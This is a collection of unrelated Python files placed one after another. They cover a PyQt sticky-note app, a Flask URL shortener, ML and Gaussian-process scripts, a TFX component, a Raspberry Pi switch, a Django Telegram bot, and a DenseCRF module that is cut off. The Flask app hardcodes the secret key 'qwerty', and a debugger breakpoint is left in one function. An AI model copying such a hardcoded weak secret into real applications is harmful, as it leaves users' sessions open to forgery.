import sys

from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox, QDialog, QWidget
from PyQt5.QtWidgets import QLabel, QLineEdit, QPushButton, QTextEdit
from PyQt5.QtWidgets import QVBoxLayout, QHBoxLayout,QSpacerItem, QSizePolicy, QSizeGrip

from PyQt5.QtCore import Qt
from PyQt5.QtGui import QFont, QIcon
from PyQt5.QtCore import Qt, QPoint

import os
import time
import datetime
import sqlite3
import pyperclip

# 클립보드
from src.MyCustomTitleBar import *

# 큰 버튼

strBtnBigStyleSheet = ("QPushButton {max-width:50px; min-height:20px;"
            "color:#4fc3f7;"
            "background-color:#424242;"
            #"border:2px solid #4fc3f7;"
            "border-radius:8px;"
            "font-size:12px;"
            "font-weight:bold;}"
            +
            "QPushButton:hover {color:#212121;"
            "background-color:#4fc3f7;}"
            +
            "QPushButton:pressed {color:white;"
            "background-color:#212121;"
            "border-color:white;}"
)

# 작은 버튼

strBtnSmallStyleSheet = ("QPushButton {max-width:20px; min-height:20px;"
            "color:#4fc3f7;"
            "background-color:#424242;"
            #"border:2px solid #4fc3f7;"
            "border-radius:8px;"
            "font-size:12px;"
            "font-weight:bold;}"
            +
            "QPushButton:hover {color:#212121;"
            "background-color:#4fc3f7;}"
            +
            "QPushButton:pressed {color:white;"
            "background-color:#212121;"
            "border-color:white;}"
)

class MyStickyDialog (QDialog):

    def __init__(self, parent, seq = ""):

        QDialog.__init__(self, parent)
        self.parent = parent
        self.seq = seq

        # -
        # DB 파일 실행 경로를 소스파일 기준으로 변경한다.
        # -
        self.FILE_DIR = os.path.dirname(os.path.abspath(__file__))
        self.BASE_DIR = os.path.join(self.FILE_DIR, "..\\")
        self.DB_FILE = os.path.join(self.BASE_DIR, "MyStickyNote.db")

        # DB 생성 (오토 커밋)
        self.conn = sqlite3.connect (self. DB_FILE)

        self.gap = 20
        self.start_y = 100
        self.width_y = 600

        # super(). init ()

        self.setModal (0)
        self.setWindowFlag (Qt. FramelessWindowHint)
        self.setWindowFlag (Qt.WindowStaysOnTopHint)
        self.setWindowFlag (Qt.WindowStaysOnTopHint, False)

        # 원도우 크기 조정 가능하게 설정...
        self.gripSize = 16
        self.grips = []
        for i in range (4):
            grip = QSizeGrip(self)
            grip.resize(self.gripSize, self.gripSize)
            self.grips.append(grip)

        self.setupUI ()

        # key값을 seqLabel에 셋팅
        self.lblSeq.setText(seq)

        # 저장된 값을 읽어 화면에 보여준다. seq가 있을때만 ...
        if seq:
            self.f_load_sticky_note()

        self.show()

    def setupUI (self):
        self.setStyleSheet (strBtnBigStyleSheet)
        self.setGeometry(1100, 200, 300, 100)
        self.setWindowTitle("Sticky Note")
        self.setWindowIcon (QIcon('icon.png'))

        self.TextEdit1 = QTextEdit()
        self.TextEdit1.setPlaceholderText ("메모를 작성하세요...")

        self.btnOnTop = QPushButton("↑")

        self.btnNew = QPushButton("+")
        self.btnNew.setShortcut("ctrl+n")

        self.btnOnTop.setStyleSheet(strBtnSmallStyleSheet)
        self.btnNew.setStyleSheet(strBtnSmallStyleSheet)

        #
        # 최하단 일련번호와 저장버튼
        #
        self.btnSave = QPushButton("저장")
        self.btnSave.setShortcut ("ctrl+s")

        self.btnDelete = QPushButton("삭제")
        self.btnDelete.setShortcut("ctrl+d")

        self.lblSeq = QLabel("")
        hlay_2 = QHBoxLayout()

        # hlay_2.addStretch (1)

        hlay_2.addWidget(self.btnSave)
        hlay_2.addWidget(self.btnDelete)
        hlay_2.addWidget(self.lblSeq)
        hlay_2.addStretch(50)

        #
        # VboxLayout 메인 테스트 박스 추가
        #

        vlay_2 = QVBoxLayout()
        vlay_2.setContentsMargins(0, 0, 0, 0)
        vlay_2.addWidget(self.TextEdit1)
        vlay_2.addLayout(hlay_2)

        # self.set Layout (layout)
        self.btnOnTop.clicked.connect(self.btnOnTopClicked)
        self.btnNew.clicked.connect(self.btnNewClicked)
        self.btnSave.clicked.connect(self.btnSaveClicked)
        self.btnDelete.clicked.connect(self.btnDeleteClicked)

        #
        # 커스텀 타이틀 바
        #
        custom_titlebar = MyCustomTitleBar(self)

        hlay_1 = QHBoxLayout()

        hlay_1.setContentsMargins(0, 0, 0, 0)
        hlay_1.addWidget(self.btnOnTop) # 항상 위
        hlay_1.addWidget(self.btnNew)  # 새로 추가
        hlay_1.addWidget(custom_titlebar)

        # 페이지 Main Vlayout....
        vlay_1 = QVBoxLayout(self)
        vlay_1.addLayout(hlay_1) # 커스텀 타이를바
        vlay_1.addLayout(vlay_2) # 메인 텍스트 박스

        x, y, w, h = self.parent.f_get_sticky_xy()
        self.move(x, y)
        self.resize(w, h)

    # 윈도우 크기 조절 가능 그립
    def resizeEvent(self, event):

        rect = self.rect()
        # top left grip doesnt need to be moved.
        # top right
        self.grips[1].move(rect.right() - self.gripSize, 0)

        # bottom right
        self.grips[2].move(rect.right() - self.gripSize, rect.bottom() - self.gripSize)

        # bottom left
        self.grips[3].move(0, rect.bottom() - self.gripSize)

    # 저장 버튼 클릭
    def btnSaveClicked(self):
        self.f_save()

    # 삭제
    def btnDeleteClicked(self):

        seq = self.lblSeq.text()

        # 저장여부 확인.
        if seq == "":

            QMessageBox.question(self, "확인", "저장된 메모가 아닙니다. 삭제할 수 없습니다.")
            return

        # 삭제 확인
        ret = QMessageBox.question(self, "확인", "현재 메모를 삭제하시겠습니까?")
        if ret == QMessageBox.No:
            return

        if self.f_delete():
            self.close()

    # seq
    def f_get_seq(self):

        # 1. db에서 읽어온다.
        cursor = self.conn.cursor()

        sql = f"""
                select ifnull(max(seq), 0) + 1 as next_seq
                from MyStickyNote
                """
        cursor.execute(sql)
        row = cursor.fetchone()

        next_seq = row[0]

        cursor.close()
        return next_seq

    # 저장
    def f_save(self):
        seq = self.lblSeq.text()
        strTitle = ""
        strContents = self.TextEdit1.toPlainText()

        # 1. db에서 읽어온다.
        cursor = self.conn.cursor()
        if seq:
            sql = f"""
                update MystickyNote set

                    title = ?,
                    contents = ?,
                    up_dt = (datetime('now', 'localtime'))
                where seq = ?
            """
            cursor.execute(sql, (strTitle, strContents, seq))

        else:
            seq = self.f_get_seq()

            sql = """
            insert into MystickyNote( seq, title, contents )
            values (?, ?, ?)
            """

            cursor.execute(sql, (seq, strTitle,strContents))

        if cursor.rowcount != 1:
            QMessageBox.warning(self, '오류', f"1건만 입력 / 수정되어야 하는데 [{cursor. rowcount})]건이 영향받음. 오류 확인 할 것", QMessageBox. Yes)

        cursor.close()

        self.conn.commit()
        self.lblSeq.setText(str(seq))

    #삭제
    def f_delete (self):
        seq = self.lblSeq.text()

        if seq == "":
            QMessageBox. question(self, '확인', "저장된 메모가 아닙니다. 삭제할 수 없습니다.")
            return False

        # 1. db에서 읽어온다.
        cursor= self.conn.cursor()

        sql = """
                delete from MyStickyNote
                where seq = ?
                """

        cursor.execute(sql, (seq,))

        if cursor.rowcount != 1:
            QMessageBox.warning(self, '오류', f"1건만 입력 / 수정되어야 하는데 [{cursor.rowcount})]건이 영향받음. 오류 확인 할 것", QMessageBox.Yes)

        cursor.close()
        self.conn.commit()

        return True

    #저장되어 있는 Sticky Note 불러오기
    def f_load_sticky_note (self):
        title, contents, ins_dt, up_dt = self.f_query(self.seq)
        self.TextEdit1.setPlainText (contents)

    # db에서 내용 읽어오기
    def f_query(self, seq):

        # 1. db에서 읽어온다.
        cursor = self.conn.cursor()

        sql = """
            SELECT
                seq,
                title,
                contents,
                etc,
                ins_dt,
                up_dt

            FROM MyStickyNote
            WHERE seq = ?
        """

        cursor.execute(sql, (seq,))
        row = cursor.fetchone()

        if row == None or len(row) == 0:
            return

        cursor.close()

        title = row[1]
        contents = row[2]
        ins_dt = row[4]
        up_dt = row[5]

        return title, contents, ins_dt, up_dt

    # 새 메모 열기
    def btnNewClicked(self):
        self.parent.btnNew_clicked()

    # 항상 위에 있기 버튼 클릭
    def btnOnTopClicked(self):
        blnNowOnTop = bool(self.windowFlags() & Qt.WindowStaysOnTopHint)

        # toggle
        blnNowOnTop = not blnNowOnTop

        strBtnText = "↑"
        if blnNowOnTop:
            strBtnText = "↓"

        self.setWindowFlag(Qt.WindowStaysOnTopHint, blnNowOnTop)
        self.btnOnTop.setText(strBtnText)
        self.show()


import re
import nltk
from nltk.corpus import stopwords
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC

# Download stopwords from NLTK
nltk.download('stopwords')

# Preprocess the text data
def preprocess_text(text):
    # Remove special characters and digits
    text = re.sub(r'[^a-zA-Z]', ' ', text)

    # Convert to lowercase
    text = text.lower()

    # Tokenize the text
    tokens = nltk.word_tokenize(text)

    # Remove stopwords
    stop_words = set(stopwords.words('english'))
    filtered_tokens = [token for token in tokens if token not in stop_words]

    # Join the filtered tokens back into a single string
    preprocessed_text = ' '.join(filtered_tokens)

    return preprocessed_text

# Define the training data
training_data = [
    ("I have a headache", "medical"),
    ("I broke my arm", "medical"),
    ("I love pizza", "non-medical"),
    ("I enjoy playing soccer", "non-medical")
]

# Preprocess the training data
preprocessed_training_data = [(preprocess_text(text), label) for text, label in training_data]

# Extract features from the training data using TF-IDF vectorization
vectorizer = TfidfVectorizer()
X_train = vectorizer.fit_transform([text for text, _ in preprocessed_training_data])
y_train = [label for _, label in preprocessed_training_data]

# Train the classifier
classifier = LinearSVC()
classifier.fit(X_train, y_train)

# Function to classify new text
def classify_text(text):
    preprocessed_text = preprocess_text(text)
    X_test = vectorizer.transform([preprocessed_text])
    prediction = classifier.predict(X_test)
    return prediction[0]

# Test the classifier
test_text = "I have a fever"
classification = classify_text(test_text)
print(f"Text: {test_text}")
print(f"Classification: {classification}")


from flask import Flask, render_template, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
from wtforms import SubmitField, StringField
from wtforms.validators import URL, DataRequired
from flask_wtf import FlaskForm
from datetime import datetime
import string
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = 'qwerty'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database//urls.sqlite3'

db = SQLAlchemy()

class URLModel(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    link = db.Column(db.String(255), unique=True)
    short = db.Column(db.String(255), unique=True)
    visits = db.Column(db.Integer, default=0)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)

    def __repr__(self):
        return f'Url {self.id}: ({self.title[:20]}...)'

db.init_app(app)

with app.app_context():
    db.create_all()

class URLForm(FlaskForm):
    link = StringField('Введите ссылку',
                        validators=[DataRequired('Поле не должно быть пустым'),
                                    URL(message="Неверная ссылка")])
    submit = SubmitField('Получить короткую ссылку')

def get_short():
    while True:
        short = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        with app.app_context():
            if not URLModel.query.filter(URLModel.short == short).first():
                return short

get_short()

@app.route('/', methods=["GET", "POST"])
def home():
    form = URLForm()
    if form.validate_on_submit():
        link = URLModel()
        link.link = form.link.data
        link.short = get_short()
        with app.app_context():
            if URLModel.query.filter(URLModel.link == link.link).first():
                return render_template('index.html', form=form)
            db.session.add(link)
            db.session.commit()
        return redirect(url_for('urls'))
    return render_template('index.html', form=form)

@app.route('/urls')
def urls():
    urls_ = URLModel.query.all()
    return render_template('urls.html', urls=urls_[::-1])

@app.route('/<string:short>', methods=['GET'])
def short_redirect(short):
    link = URLModel.query.filter( URLModel.short == short ).first()
    if link:
        link.visits += 1
        db.session.add(link)
        db.session.commit()
        return redirect(link.link)

if __name__ == '__main__':
    app.run()


#definition theano.scalar op that have their python implementation taked from scipy
#as scipy is not always available, we put threat them separatly
import numpy

from theano.scalar.basic import UnaryScalarOp,exp,upgrade_to_float,float_types
from theano.scalar.basic import upgrade_to_float_no_complex,complex_types,upcast

imported_scipy_special = False
try:
    import scipy.special
    imported_scipy_special = True
except ImportError:
    pass

class Erf(UnaryScalarOp):
    def impl(self, x):
        if imported_scipy_special:
            return scipy.special.erf(x)
        else:
            super(Erf,self).impl(x)
    def grad(self, inp, grads):
        x, = inp
        gz, = grads
        if x.type in complex_types:
            raise NotImplementedError()
        elif x.type in float_types:
            cst = numpy.asarray(2. / numpy.sqrt(numpy.pi),dtype=upcast(x.type.dtype,gz.type.dtype))
            return gz * cst * exp(-x*x),
        else:
            return None,
    def c_code(self, node, name, inp, out, sub):
        x, = inp
        z, = out
        if node.inputs[0].type in complex_types:
            raise NotImplementedError('type not supported', type)
        return "%(z)s = erf(%(x)s);" % locals()
erf = Erf(upgrade_to_float, name= 'erf')

class Erfc(UnaryScalarOp):
    def impl(self, x):
        if imported_scipy_special:
            return scipy.special.erfc(x)
        else:
            super(Erfc,self).impl(x)
    def grad(self, inp, grads):
        x, = inp
        gz, = grads
        if x.type in complex_types:
            raise NotImplementedError()
        elif x.type in float_types:
            cst = numpy.asarray(2. / numpy.sqrt(numpy.pi),dtype=upcast(x.type.dtype,gz.type.dtype))
            return - gz * cst * exp(-x*x),
        else:
            return None,
    def c_code(self, node, name, inp, out, sub):
        x, = inp
        z, = out
        if node.inputs[0].type in complex_types:
            raise NotImplementedError('type not supported', type)
        return "%(z)s = erfc(%(x)s);" % locals()

# scipy.special.erfc don't support complex. Why?
erfc = Erfc(upgrade_to_float_no_complex, name = 'erfc')


# -*- coding: utf-8 -*-

##每个维度独立构造GP
import GPy
import numpy as np
from sklearn import preprocessing
import time
import matplotlib.pyplot as plt

def train_multifidelity_GP(x_train_high,y_train_high,x_train_low,y_train_low):
    # x_train_high=para[0]
    # y_train_high=para[1]
    # x_train_low=para[2]
    # y_train_low=para[3]
    # if np.mod(i,10)==0:
        # print 'this is the {0} dimension'.format(i)
    input_dim=x_train_high.shape[1]
#    start_1=time.time()
    '''Train level 1'''
    k1=GPy.kern.Matern52(input_dim,ARD=False)
    scaler=preprocessing.StandardScaler().fit(y_train_low.reshape(-1,1))
    y_train_low_scaled=scaler.transform(y_train_low.reshape(-1,1))
    model1 = GPy.models.GPRegression(X=x_train_low, Y=y_train_low_scaled, kernel=k1)

    model1[".*Gaussian_noise"] = model1.Y.var()*0.1
    model1[".*Gaussian_noise"].fix()

    model1.optimize(max_iters = 1000)

    mu1,v1=model1.predict(x_train_high)
    # print 'time_1:',time.time()-start_1

#    start_2=time.time()
    '''Train level 2'''
    XX = np.hstack((x_train_high, mu1))

    # 新造的核还得再考虑，active_dimension
    k2 = GPy.kern.Matern52(1,active_dims=[input_dim])*GPy.kern.Matern52(input_dim,active_dims=np.arange(input_dim)) + GPy.kern.Matern52(input_dim,active_dims=np.arange(input_dim))
    y_train_high_scaled=scaler.transform(y_train_high.reshape(-1,1))
    model2 = GPy.models.GPRegression(X=XX, Y=y_train_high_scaled, kernel=k2)

    model2[".*Gaussian_noise"] = model2.Y.var()*0.01
    model2[".*Gaussian_noise"].fix()

    model2.optimize(max_iters = 1000)
    # print 'time_2:',time.time()-start_2
    return [model1,model2],scaler

def predict_multifidelity_GP(model_list,Nts,x_test_high,scaler):
    model1=model_list[0]
    model2=model_list[1]

#    start_3=time.time()
    '''Predict at test points'''
    # sample f_1 at xtest
    nsamples = 10
    mu_1, C_1 = model1.predict(x_test_high, full_cov=True)
    Z = np.random.multivariate_normal(mu_1.flatten(),C_1,nsamples)
    # print 'time_3:',time.time()-start_3

#    start_4=time.time()
    # push samples through f_2
    tmp_m = np.zeros((nsamples,Nts))
    tmp_v = np.zeros((nsamples,Nts))
    for j in range(0,nsamples):
        mu, v = model2.predict(np.hstack((x_test_high, Z[j,:][:,None]))) #predict得到的是Nts*1的结果
        tmp_m[j,:] = mu.flatten()
        tmp_v[j,:] = v.flatten()
    # print 'time_4:',time.time()-start_4
    # get posterior mean and variance
    mean = np.mean(tmp_m, axis = 0)[:,None]
    var = np.mean(tmp_v, axis = 0)[:,None]+ np.var(tmp_m, axis = 0)[:,None]
    var = np.abs(var)
    var=var.ravel()

    mean_rescaled=scaler.inverse_transform(mean.ravel())

#    error = np.linalg.norm(y_original_high[:,i] - mean_rescaled)/np.linalg.norm(y_original_high[:,i])
    return mean_rescaled,var

if __name__=='__main__':
    x_train_high=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\X_H.txt')
    x_train_low=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\X_L.txt')
    x_test=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\X_test.txt')
    y_train_high=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\Y_H.txt')
    y_train_low=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\Y_L.txt')
    y_test=np.loadtxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\Y_test.txt')

    [x_train_high,x_train_low,x_test,y_train_high,y_train_low]=map(lambda x:x.T,[x_train_high,x_train_low,x_test,y_train_high,y_train_low])
    Nobs=y_train_high.shape[1]
    Nts=x_test.shape[0]
    y_pred=np.zeros_like(y_test)
    var_pred=np.zeros_like(y_test)
    start=time.time()
    for i in range(Nobs):
#        if np.mod(i,50)==0:
        print('this is {0} dimension'.format(i))
        model_list,scaler=train_multifidelity_GP(x_train_high,y_train_high[:,i],x_train_low,y_train_low[:,i])
        y_pred[i,:],var_pred[i,:]=predict_multifidelity_GP(model_list,Nts,x_test,scaler)

    print('elapsed time:',time.time()-start)
    np.savetxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\y_pred.txt',y_pred)
    np.savetxt(r'F:\zq\multi_fidelity_GP\Hydrus_case_JL\var_pred.txt',var_pred)
    coef=np.corrcoef(y_pred.ravel(),y_test.ravel())
    print('corr coef:',coef[0,1])
    plt.scatter(y_pred.ravel(),y_test.ravel())
    plt.show()


from typing import Optional

from tfx import types
from tfx.components.experimental.data_view import binder_executor
from tfx.dsl.components.base import base_component
from tfx.dsl.components.base import executor_spec
from tfx.types import standard_artifacts
from tfx.types.component_spec import ChannelParameter
from tfx.types.component_spec import ComponentSpec

class _DataViewBinderComponentSpec(ComponentSpec):
  """ComponentSpec for Custom TFX Hello World Component."""

  PARAMETERS = {}
  INPUTS = {
      'input_examples': ChannelParameter(type=standard_artifacts.Examples),
      'data_view': ChannelParameter(type=standard_artifacts.DataView),
  }
  OUTPUTS = {
      'output_examples': ChannelParameter(type=standard_artifacts.Examples),
  }

class DataViewBinder(base_component.BaseComponent):
  """A component that binds a DataView to ExamplesArtifact.

  It takes as inputs a channel of Examples and a channel of DataView, and
  binds the DataView (i.e. attaching information from the DataView as custom
  properties) to the Examples in the input channel, producing new Examples
  Artifacts that are identical to the input Examples (including the uris),
  except for the additional information attached.

  Example:
  ```
    # We assume Examples are imported by ExampleGen
    example_gen = ...
    # First, create a dataview:
    data_view_provider = TfGraphDataViewProvider(
        module_file=module_file,
        create_decoder_func='create_decoder')
    # Then, bind the DataView to Examples:
    data_view_binder = DataViewBinder(
        input_examples=example_gen.outputs['examples'],
        data_view=data_view_provider.outputs['data_view'],
        )
    # Downstream component can then consume the output of the DataViewBinder:
    stats_gen = StatisticsGen(
        examples=data_view_binder.outputs['output_examples'], ...)
  ```
  """
  SPEC_CLASS = _DataViewBinderComponentSpec
  EXECUTOR_SPEC = executor_spec.ExecutorClassSpec(
      binder_executor.DataViewBinderExecutor)

  def __init__(self,
               input_examples: types.BaseChannel,
               data_view: types.BaseChannel,
               output_examples: Optional[types.Channel] = None):
    if not output_examples:
      output_examples = types.Channel(type=standard_artifacts.Examples)

    spec = _DataViewBinderComponentSpec(
        input_examples=input_examples,
        data_view=data_view,
        output_examples=output_examples)
    super().__init__(spec=spec)


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from IPython.display import Image

from compute_iou import compute_iou

# check if true positive or false positive
def check_if_true_or_false_positivate(annotations,detections,iou_threshold):
    """
    All detected bounding boxes will be assigned to the GT box that has the largest IOU.
    Then check whether they are TP or FP by iou_threshold.
    Here, if multiple detected bounding boxes are mapped to the same GT box, then only the highest scored bounding box needs to be assigned to that GT.
    So note that the detections passed to this function need to be pre-sorted.

    Args:
        annotations:      (N,4) ndarray of float
        detections:       (M,5) ndarray of float  xmin,ymin,xmax,ymax,score
        iou_threshuold    default:0.5  float

    Returns
        scores：          (M)   list of detection boxs's score
        false_positivate  (M)   list if detection box is FP,value=1.[1,0,0]
        true_positivate:  (M)   list if detection box id TP,value=1.[0,1,1]
    """
    import pdb; pdb.set_trace()
    annotations = np.array(annotations,dtype=np.float64)
    scores,false_positivate,true_positivate = [],[],[]
    detected_annotations = [] # a GT box should be mapped only one predicted box at most
    for query_box in detections:
        scores.append(query_box[4])
        if len(annotations)==0:
            false_positivate.append(1)
            true_positivate.append(0)
            continue
        ious = compute_iou(boxes=annotations,query_boxes=query_box[:4])
        assigned_annotation = np.argmax(ious)   # assigned anno index
        max_iou = ious[assigned_annotation]
        if max_iou>=iou_threshold and assigned_annotation not in detected_annotations:
            true_positivate.append(1)
            false_positivate.append(0)
            detected_annotations.append(assigned_annotation)
        else:
            false_positivate.append(1)
            true_positivate.append(0)
    return scores,false_positivate,true_positivate

if __name__ == "__main__":
    anno = np.array([(1,1,6,6),(2,2,4,5),(4,9,5,19)],dtype=np.float64)
    detect = np.array([[1,1,5,6,0.5],[2,2,4,5,0.8]],dtype=np.float64)
    scores,false_positivate,true_positivate=check_if_true_or_false_positivate(anno,detect,0.1)
    print(scores)
    print(false_positivate)
    print(true_positivate)


import scanpy as sc
import pandas as pd
import json
from scipy.sparse import csr_matrix, find

protein = sc.read('protein_h5ad.h5ad')

rna = sc.read('rna_h5ad.h5ad')

rna_umap = pd.DataFrame(rna.obsm['X_umap'])
rna_umap.columns = ['rna_UMAP_1', 'rna_UMAP_2']
rna_cells = rna.obs.reset_index().rename(columns={'index': 'cell_id'})
rna_umap = rna_umap.merge(rna_cells[['cell_id']], left_index=True, right_index=True)

protein_umap = pd.DataFrame(protein.obsm['X_umap'])
protein_umap.columns = ['protein_UMAP_1', 'protein_UMAP_2']
protein_cells = protein.obs.reset_index().rename(columns={'index': 'cell_id'})
protein_umap = protein_umap.merge(protein_cells[['cell_id']], left_index=True, right_index=True)

## join two tables together
df = protein_umap.merge(rna_umap)

## now we prep the matrix for DISTRIBUTION

rna_matrix = csr_matrix(rna.X)
nonzero = find(rna_matrix)
rna_matrix = pd.DataFrame(list(zip(*nonzero)), columns=['cell_idx', 'gene_idx', 'expression'])
rna_matrix = rna_matrix.merge(rna_cells[['cell_id']], left_on='cell_idx', right_index=True)

genes = rna.var.reset_index().rename(columns={'index': 'gene_id'})
rna_matrix = rna_matrix.merge(genes[['gene_id']], left_on='gene_idx', right_index=True)

protein_matrix = csr_matrix(protein.X)
nonzero = find(protein_matrix)
protein_matrix = pd.DataFrame(list(zip(*nonzero)), columns=['cell_idx', 'protein_idx', 'expression'])
protein_matrix = protein_matrix.merge(protein_cells[['cell_id']], left_on='cell_idx', right_index=True)

proteins = protein.var.reset_index().rename(columns={'index': 'protein_id'})
protein_matrix = protein_matrix.merge(proteins[['protein_id']], left_on='protein_idx', right_index=True)

## Now format into something usable

cells = df.to_dict(orient='records')

records = []
for cell in cells:
    rna_records = rna_matrix[rna_matrix['cell_id'] == cell['cell_id']]
    rna_obj = dict(zip(rna_records['gene_id'], rna_records['expression']))

    protein_records = protein_matrix[protein_matrix['cell_id'] == cell['cell_id']]
    protein_obj = dict(zip(protein_records['protein_id'], protein_records['expression']))

    record = {
        **cell,
        **rna_obj,
        **protein_obj
    }

    records.append(record)

with open('cells.json', 'w', encoding='utf-8') as file:
    json.dump(records, file, ensure_ascii=False, indent=4)

with open('genes.json', 'w', encoding='utf-8') as file:
    gene_list = list(genes['gene_id'])
    gene_list.sort()
    json.dump(gene_list, file, ensure_ascii=False, indent=4)

with open('proteins.json', 'w', encoding='utf-8') as file:
    protein_list = list(proteins['protein_id'])
    protein_list.sort()
    json.dump(protein_list, file, ensure_ascii=False, indent=4)


import RPi.GPIO as GPIO
import time
import requests

SWITCH_BUTTON=21

GPIO.setmode(GPIO.BCM)

GPIO.setup(21, GPIO.IN, pull_up_down=GPIO.PUD_UP)

while True:
    input_state = GPIO.input(21)
    if input_state == False:
        print('Button Pressed')
        r = requests.get('http://192.168.5.66/cm?cmnd=Power%20TOGGLE')
        requests.get('https://api.github.com')
        time.sleep(0.2)


from django.core.management import BaseCommand
from bot.models import TgUser
from bot.tg.client import TgClient, logger
from bot.tg.schemas import Message
from goals.models import Goal, GoalCategory

class TgBotStatus:

    STOK = 0
    CAT_CHOICE = 1
    GOAL_CREATE = 2

    def __init__(self, status_b=STOK, category_id=None):
        self.status_b = status_b
        self.category_id = category_id

    def set_status_b(self, status_b):
        self.status_b = status_b

    def set_category_id(self, category_id):
        self.category_id = category_id

BOT_STATUS = TgBotStatus()

class Command(BaseCommand):

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.tg_client = TgClient()

    def handle(self, *args, **options):
        offset = 0

        logger.info('Бот готов к работе')
        while True:
            res = self.tg_client.get_updates(offset=offset)
            for item in res.result:
                offset = item.update_id + 1
                self.handle_message(item.message)

    def handle_message(self, msg: Message):
        tg_user, created = TgUser.objects.get_or_create(chat_id=msg.chat.id)
        if tg_user.user:
            self.handle_authorized_user(tg_user, msg)
        else:
            self.handle_unauthorized_user(tg_user, msg)

    def handle_authorized_user(self, tg_user: TgUser, msg: Message):
        if msg.text == '/goals':
            self.processing_request_goals(tg_user, msg)
        elif msg.text == '/create':
            self.processing_goal_creation(tg_user, msg)
        elif msg.text == '/cancel':
            self.cancellation_processing(msg)
        elif BOT_STATUS.status_b == TgBotStatus.CAT_CHOICE:
            self.checking_selected_category(msg)
        elif BOT_STATUS.status_b == TgBotStatus.GOAL_CREATE:
            self.create_goal(msg, tg_user)
        else:
            self.tg_client.send_message(chat_id=msg.chat.id, text=f'Неизвестная команда {msg.text}')

    def handle_unauthorized_user(self, tg_user: TgUser, msg: Message):
        code = tg_user.generate_verification_code()
        tg_user.verification_code = code
        tg_user.save()

        self.tg_client.send_message(chat_id=msg.chat.id, text=f'Hello! Verification code: {code}')

    def processing_request_goals(self, tg_user: TgUser, msg: Message):
        """все цели участника или владельца доски"""
        qs = (
            Goal.objects.select_related('user')
            .filter(user=tg_user.user, category__is_deleted=False)
            .exclude(status=Goal.Status.archived)
        )

        goals = '\n'.join([f'# {goal.title}' for goal in qs])

        self.tg_client.send_message(chat_id=msg.chat.id, text='No goals' if not goals else goals)

    def processing_goal_creation(self, tg_user: TgUser, msg: Message):
        """категории участника или владельца доски, выбор категории для новой цели"""
        qs = GoalCategory.objects.select_related('user').filter(
            board__participants__user=tg_user.user, is_deleted=False
        )

        categories = '\n'.join([f'-> {cat.title}' for cat in qs])

        if not categories:
            self.tg_client.send_message(chat_id=msg.chat.id, text='Категория не найдена')
        self.tg_client.send_message(chat_id=msg.chat.id, text=f'Выберете категорию \n{categories}')

        BOT_STATUS.set_status_b(TgBotStatus.CAT_CHOICE)

    def checking_selected_category(self, msg: Message):
        """если категория существует, бот предлагает добавить цель"""
        cat = GoalCategory.objects.filter(title=msg.text)
        if cat:
            self.tg_client.send_message(chat_id=msg.chat.id, text='Введите цель')
            BOT_STATUS.set_category_id(category_id=cat[0].id)
            BOT_STATUS.set_status_b(status_b=TgBotStatus.GOAL_CREATE)
        else:
            self.tg_client.send_message(chat_id=msg.chat.id, text=f'Категория "{msg.text}" отсутсвует на доске')

    def create_goal(self, msg, tg_user):
        """Сохраняет цель в категорию"""
        cat = GoalCategory.objects.get(pk=BOT_STATUS.category_id)
        goal = Goal.objects.create(
            title=msg.text,
            category=cat,
            user=tg_user.user,
        )
        self.tg_client.send_message(chat_id=msg.chat.id, text=f'Цель {goal.title} создана')
        BOT_STATUS.set_status_b(TgBotStatus.STOK)

    def cancellation_processing(self, msg: Message):
        """команда для отмены"""
        BOT_STATUS.set_status_b(TgBotStatus.STOK)
        self.tg_client.send_message(chat_id=msg.chat.id, text='Отмена')


'''
This module creates a dense reconstruction of the 3D Scene from the sparse 3D points
estimated from the bundle adjustment module. It initializes a CRF model based on the
sparse points and the input RGB image.
'''

import os
import cv2
import config
import argparse
import numpy as np
from plane_sweep import plane_sweep
from pydensecrf import densecrf as dcrf
from pydensecrf.utils import create_pairwise_bilateral, unary_from_softmax

def compute_unary_image(unary, depth_samples, outfile):

	gd = np.argmin(unary, axis=0)
	gd_im = np.zeros((unary.shape[1], unary.shape[2]))
	for i in range(unary.shape[1]):
		for j in range(unary.shape[2]):
			gd_im[i,j] = ((depth_samples[gd[i,j]] - np.min(depth_samples)) * 255.0) / (np.max(depth_samples) - np.min(depth_samples))

	cv2.imwrite(outfile, gd_im)

def DenseCRF(unary, img, depth_samples, params, folder, max_depth, min_depth, outfile='depth_map.png', show_wta=False):

	labels = unary.shape[0]
	iters = params['iters']
	weight = params['weight']
	pos_std = params['pos_std']
	rgb_std = params['rgb_std']
	max_penalty = params['max_penalty']

	# Get initial crude depth map from photoconsistency
	if show_wta :
		compute_unary_image(unary, depth_samples, outfile=f'../output/{folder}/cost_volume_{depth_samples.shape[0]}_wta.png')

	# Normalize values for each pixel location
	for r in range(unary.shape[1]):
		for c in range(unary.shape[2]):
			if np.sum(unary[:, r, c]) <= 1e-9:
				unary[:, r, c] = 0.0
			else:
				unary[:, r, c] = unary[:, r, c]/np.sum(unary[:, r, c])

	# Convert to class probabilities for each pixel location
	unary = unary_from_softmax(unary)

	d = dcrf.DenseCRF2D(img.shape[1], img.shape[0], labels)

	# Add photoconsistency score as uanry potential. 16-size vector
	# for each pixel location
	d.setUnaryEnergy(unary)
	# Add color-dependent term, i.e. features are (x,y,r,g,b)
	d.addPairwiseBilateral(sxy=pos_std, srgb=rgb_std, rgbim=img, compat=np.array([weight, labels*max_penalty]), kernel=dcrf.DIAG_KERNEL, normalization=dcrf.NORMALIZE_SYMMETRIC)

	# Run inference steps
	Q = d.inference(iters)

